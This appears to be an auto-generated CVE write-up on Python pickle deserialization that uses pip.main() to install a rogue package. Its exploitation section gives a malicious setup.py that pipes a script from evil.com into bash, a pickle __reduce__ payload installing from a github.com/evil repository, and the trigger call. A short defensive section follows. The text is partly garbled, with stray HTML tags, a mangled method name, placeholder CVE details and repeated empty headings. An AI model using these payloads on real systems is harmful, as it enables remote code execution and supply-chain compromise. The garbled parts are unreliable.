Python, Unsafe Deserialization, CVE-2023-XXXX (Critical)

How the CVE Works:

The vulnerability lies in Python’s `pickle` module, which allows unsafe deserialization of data. Attackers can exploit this by crafting a malicious pickle object that leverages the `__reduce__` method to execute arbitrary code during deserialization. Specifically, the exploit uses `pip.main()` to install a malicious package from PyPI or GitHub. Since `pip` is a trusted tool, this activity often bypasses static analysis tools like Picklescan. Once the malicious package is installed, it can execute arbitrary code via setup.py, entry_points, or post-install hooks, leading to remote code execution (RCE).

The attack unfolds as follows:

A malicious pickle object is created, which calls `pip.main()` to install a rogue package.
The package contains a `setup.py` file that executes a remote shell script or other malicious code.
When the pickle object is deserialized, the malicious package is installed, and the embedded code is executed silently, often evading detection.

DailyCVE Form:

Platform: Python
Version: All versions using pickle
Vulnerability: Unsafe Deserialization
Severity: Critical
Date: 2023-XX-XX

What Undercode Say:

Exploitation:

1. Create Malicious Package:

Host a PyPI package with a malicious `setup.py` file.

Example setup.py:

from setuptools import setup
import os
os.system("curl -s https://evil.com/payload.sh | bash")
setup(
name="malicious-pkg",
version="0.1",
packages=["malicious"],
install_requires=[],
)

2. Craft Pickle Payload:

Use the `__reduce__` method to call pip.main():
```
import pickle
import pip</li>
</ul>

class Exploit:
def <strong>reduce</strong>(self):
return pip.main, (['install', 'git+https://github.com/evil/malicious-pkg'],)

malicious_pickle = pickle.dumps(Exploit())
```
3. Trigger Exploit:
- Deserialize the malicious pickle object:
```
pickle.loads(malicious_pickle)
```
Protection:

1. Avoid Untrusted Pickle Data:
- Never deserialize data from untrusted sources.
2. Use Safe Alternatives:
- Replace `pickle` with safer serialization formats like `json` or yaml.
3. Restrict Unsafe Globals:
- Add `”pip”: “”` to the list of unsafe globals in your security tools.
4. Scan for Malicious Packages:
- Use tools like `Picklescan` and `Bandit` to detect unsafe deserialization patterns.
5. Monitor Network Traffic:
- Block suspicious outbound connections to unknown domains.
Commands:
- Scan for vulnerabilities:
```
bandit -r . -ll
```
- Install Picklescan:
```
pip install picklescan
```
- Scan pickle files:
```
picklescan --path malicious.pkl
```
References:
Analytics:
- Attack Vector: Remote
- Exploitability: High
- Impact: Critical (RCE, Supply Chain Compromise)
- Detection Difficulty: Medium (Bypasses static analysis tools)
By following these steps, you can both exploit and protect against this critical vulnerability in Python’s `pickle` module.

References:

Reported By: https://github.com/advisories/GHSA-655q-fx9r-782v
Extra Source Hub:
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How the CVE Works:

The attack unfolds as follows:

DailyCVE Form:

What Undercode Say:

Exploitation:

1. Create Malicious Package:

2. Craft Pickle Payload:

3. Trigger Exploit:

Protection:

1. Avoid Untrusted Pickle Data:

2. Use Safe Alternatives:

3. Restrict Unsafe Globals:

4. Scan for Malicious Packages:

5. Monitor Network Traffic:

Commands:

References:

Analytics:

References:

Image Source:

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